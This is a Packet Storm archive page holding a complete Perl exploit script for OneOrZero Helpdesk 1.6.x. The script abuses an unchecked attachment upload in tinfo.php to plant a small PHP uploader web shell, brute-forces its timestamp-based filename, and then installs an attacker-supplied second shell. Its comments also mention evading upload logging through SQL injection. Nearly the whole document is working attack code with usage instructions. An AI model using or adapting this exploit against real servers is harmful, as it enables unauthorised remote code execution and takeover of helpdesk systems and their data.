exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

OneOrZero Helpdesk 1.6 Shell Upload Exploit

OneOrZero Helpdesk 1.6 Shell Upload Exploit
Posted Dec 30, 2008
Authored by Ams

OneOrZero Helpdesk version 1.6.x remote shell upload exploit.

tags | exploit, remote, shell, file upload
SHA-256 | 780c96fbf034819075a9a3cb2dc05aeab8c58c211a6cb6c2f02d589d69069320

OneOrZero Helpdesk 1.6 Shell Upload Exploit

Change Mirror Download
#!/usr/bin/perl
=about

OneOrZero 1.6.* Perl exploit

AUTHOR
discovered & written by Ams
ax330d [doggy] gmail [dot] com

VULN. DESCRIPTION:
In 'tinfo.php' script there are function
named uploadAttachment() through which
we are able to upload files.
It does not checks what the file
is uploaded.

EXPLOIT WORK:
First of all it uploads small shell,
then, due to unknown shell name,
it bruteforces it.
(Uploaded shell name is concatenation
of original filename,
unix timestamp and substracted
microseconds from time.)
Then it uploads new shell through
small shell.
(Script saves to DB what has been uploaded,
but if magic_quotes_gpc=off exploit
will disable this logging via SQl-inj.)

REQUIREMENTS:
Upload must be allowed.

PS:
With register_globals=on there are even more
vulnerabilities, starting from LFI till
remote code execution.

=cut

use strict;
use warnings;

use LWP::UserAgent;
use HTTP::Request::Common;

$| = 1;
&banner;

my $expl_url = shift or &usage;
my $tshell2 = shift;
&usage unless -f $tshell2;

my $tshell = q(<?php move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name'])?print('ok1'):0;?>);
my $spider = LWP::UserAgent->new;

$spider->timeout(9);
$spider->max_redirect(0);
$spider->agent('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');

exploit($expl_url);

sub exploit {

$_ = shift;

my($prot, $host, $path, ) = m{(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?};
print "\n\tExploiting: $prot://$host$path\n";

my $req
= POST "$prot://$host$path/tinfo.php?id=999999",
Content_Type => 'form-data',
Content => [send_mail => 1,
SelectedFile => [ undef, 'by441e.php', 'Content_Type' => '\' text', 'Content' => $tshell ]
];

my $start_time = time();

my $res = $spider->request($req);
if (!$res->is_success) {
print "\tFailure...\n" . $res->status_line . "\n";
return 0;
}

if ($res->content !~ /by441e\.php/) {
print "\tFailure...\n";
return 0;
} else {
print "\n\tTest shell uploaded";
}

my $finish_time = time();

print "\n\tStarting bruteforce (start:${start_time}000 finish:${start_time}999)\n";

for my $sec ($start_time .. $finish_time) {
for my $micro ('000' .. '999') {

print "\t$prot://$host$path/attachments/$sec${micro}_by441e.php\r";
$res = $spider->request(HEAD "$prot://$host$path/attachments/$sec${micro}_by441e.php");

if ($res->status_line =~ /200/) {
print "\n\tFound one of shells...";
if (reload("$prot://$host$path/attachments/$sec${micro}_by441e.php")) {
print "\tShell: $prot://$host$path/attachments/sha.php\n";
}
return;
}
}
}

print "\n\tCould not find shell...\n";
}

sub reload {

my $addr = shift;
my $req
= POST $addr,
Content_Type => 'form-data',
Content => [ f => [ $tshell2, 'sha.php']];
my $res = $spider->request($req);

if ($res->content =~ /ok1/) {
print "new shell uploaded!\n";
return 1;
} else {
print "could not upload new shell.\n";
return 0;
}
}

sub usage {

print "
Provide url and shell what to upload.
Usage:
perl $0 http://example.com localshell.php

";
exit;
}

sub banner {

print "
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
OneOrZero 1.6.* exploit
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
";
}


Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close